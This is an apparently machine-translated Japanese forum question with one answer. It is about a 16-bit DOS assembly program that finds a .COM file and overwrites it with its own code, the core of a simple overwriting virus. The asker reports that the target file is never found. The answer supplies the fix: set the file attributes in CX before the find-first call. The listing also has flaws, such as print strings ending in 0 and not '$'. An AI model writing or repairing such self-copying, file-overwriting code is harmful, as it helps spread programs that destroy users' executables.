2012-02-28 6 views
1

にエラーを見つけることができません:は、私は、次の16ビットアセンブリコードで働いています。このシンプルなアセンブリプログラム

  .model tiny 
      .code 

      ORG 100H 

FILE_NAME  EQU 9EH  ;DTA Position after execution of search_first_file 

START:   
      mov  ah,9   ;Print start message 
      mov dx,OFFSET STR_START 
      int 21H 

      mov  ah,4EH  ;Search first file 
      mov dx,OFFSET PATH 
      int 21H 
      jc NO_FILE_FOUND 

FILE_FOUND: 
      mov  ah,9   ;Print file found message 
      mov dx,OFFSET STR_FILE_FOUND 
      int 21H  

      mov ah,3DH  ;Open file to write 
      mov al,01H 
      mov dx,FILE_NAME 
      int 21H 

      mov  ah,9   ;Print file opened message 
      mov dx,OFFSET STR_FILE_OPENED 
      int 21H  

      mov ah,40H  ;Write code 
      mov bx,ax 
      mov dx,100H 
      mov cx,44 
      int 21H 

      mov  ah,9   ;Print file written message 
      mov dx,OFFSET STR_FILE_WRITTEN 
      int 21H  

      mov ah,3EH  ;Close file 
      int 21H 

      mov ah,4FH  ;Search next 
      int 21H 
      jnc FILE_FOUND   

NO_FILE_FOUND: 
      ret 

PATH    db  'C:\comfiles_folder\HOST.COM',0 
STR_START  db 'program started!',0 
STR_FILE_FOUND db 'file found!',0 
STR_FILE_OPENED db 'file opened!',0 
STR_FILE_WRITTEN db 'code written!',0 

      END START 

このプログラムは基本的にパスC:\comfiles_folder\HOST.COMでフォルダcomfiles_folderを検索し、そのファイルに自身のコードを書き込み見つかった。

CodeViewを使用してデバッグし、HOST.COMファイルが見つからないことがわかりました。誰かが間違っていることを教えてもらえますか?

答えて

1

Find First Fileコールにはさらに1つのパラメータが必要です。 Int 21 0x4E(Find Fist File)コールの前に、レジスタcxにfile attributesを設定していませんでした。

関連する問題